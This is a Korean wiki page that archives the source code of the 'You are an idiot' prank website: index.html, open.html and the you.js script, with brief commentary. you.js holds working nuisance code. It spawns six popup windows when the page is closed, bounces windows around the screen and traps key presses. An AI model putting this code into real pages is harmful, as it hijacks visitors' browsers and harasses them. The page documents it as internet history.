You are an idiot/index.html
최근 수정 시각: (5년 전)
분류
1. 개요 [편집]
You are an idiot 페이지의 소스 일람.
2. index.html [편집]
<html>
<head>
<title>You are an Idiot! (dot org)</title>
<script language="Javascript" src="http://www.youareanidiot.org/script/you.js"[1]></script>
</head>
<body bgColor=#ffffff onKeyDown="altf4key();ctrlkey();delkey();[2]" onUnLoad="procreate()[3]" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="/web/20040924104957oe_/http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%"><param name=movie value="youare.swf"[4]>
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed></object>
</body>
</html>
3. open.html [편집]
해당 페이지는 you.js에서 openWindow 함수가 작동했을 때 보여지는 페이지이며, 2016년 4월 19일 기준 페이지 소스이므로 현재 you.js 호출 코드는 없다.
<html>
<head>
<title>You are an idiot!</title>
</head>
<body bgColor=#ffffff leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%"><param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed></object>
</body>
</html>
4. you.js [편집]
한때 창이 6개 띄워지거나 창이 요리조리 움직이거나 키가 안 먹는 원인이었던 자바스크립트 코드로 index.html의 소스에서 호출되어졌던 코드였다. 지금은 index.html에서 script 태그가 없어져서 작동하지 않는다.
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
function openWindow(url){aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');}
function procreate(){
openWindow('open.html');[5]
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
}
function newXlt(){xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus() [6]}
function newXrt(){xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}
function newYup(){yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}
function newYdn(){yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}function fOff(){flagrun = 0;
}
function playBall(){xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}
이 코드로 구동되는 웹 사이트에 대한 항목은 You are an idiot 참고
라이선스를 별도로 명시하지 않은 문서는 CC BY-NC-SA 2.0 KR에 따라 이용할 수 있습니다.
기여하신 문서의 저작권은 각 기여자에게 있으며, 각 기여자는 기여하신 부분의 저작권을 갖습니다.
문서의 기여자는 역사 탭에서 확인할 수 있습니다.
접두어의 N: - 나무위키 사용자, R: - 리그베다 위키의 사용자를 뜻합니다.
자세한 사항은 나무위키에서 동일한 문서의 역사를 참고하시기 바랍니다.